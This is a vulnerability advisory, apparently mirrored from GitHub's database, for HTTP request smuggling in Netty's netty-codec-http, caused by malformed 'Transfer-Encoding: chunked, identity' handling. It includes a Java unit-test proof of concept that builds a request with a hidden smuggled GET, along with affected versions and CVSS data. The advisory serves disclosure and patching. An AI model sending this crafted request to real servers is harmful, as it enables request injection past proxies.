GHSA-38F8-5428-X5CV

Vulnerability from github – Published: 2026-05-07 00:22 – Updated: 2026-05-14 20:41
VLAI
Summary
Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding
Details

Summary

Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.

Details

Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length

" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "

A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.

PoC

The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.

@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }

Impact

HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42585"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:22:27Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNetty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.\n\n### Details\nNetty incorrectly marks a request as chunked when malformed \"Transfer-Encoding: chunked, identity\" is present.\nAccording to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length\n\n\"\nIf a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding,\n the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request)\n status code and then close the connection.\n\"\n\nA possible scenario is when Netty is behind a proxy that doesn\u0027t reject requests with \"Transfer-Encoding: chunked, identity\", but prefers \"Content-Length\" and forwards the content to Netty.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.\n\n```java\n@Test\n    public void test() {\n        String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"Transfer-Encoding: chunked, identity\\r\\n\" +\n                \"Content-Length: 48\\r\\n\" +\n                \"\\r\\n\" +\n                \"0\\r\\n\" +\n                \"\\r\\n\" +\n                \"GET /smuggled HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"\\r\\n\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n        // Request 1\n        HttpRequest request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        assertTrue(request.headers().contains(\"Transfer-Encoding\"));\n        assertFalse(request.headers().contains(\"Content-Length\"));\n        LastHttpContent last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n\n        // Request 2\n        request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n    }\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
  "id": "GHSA-38f8-5428-x5cv",
  "modified": "2026-05-14T20:41:21Z",
  "published": "2026-05-07T00:22:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42585"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.